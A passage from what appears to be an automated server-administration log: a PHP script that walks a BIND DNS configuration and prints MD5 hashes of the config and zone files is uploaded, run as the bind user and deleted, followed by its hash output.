MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:35:23: Establishing a connection
2026-04-28 10:35:23: 

PUT: /tmp/pkp306454

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:35:23: 

runuser -l bind -s /bin/bash -c '/tmp/pkp306454; rm /tmp/pkp306454'

2026-04-28 10:35:23: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:35:25: Establishing a connection
2026-04-28 10:35:25: 

PUT: /tmp/pkp163163

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:35:25: 

runuser -l bind -s /bin/bash -c '/tmp/pkp163163; rm /tmp/pkp163163'

2026-04-28 10:35:25: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
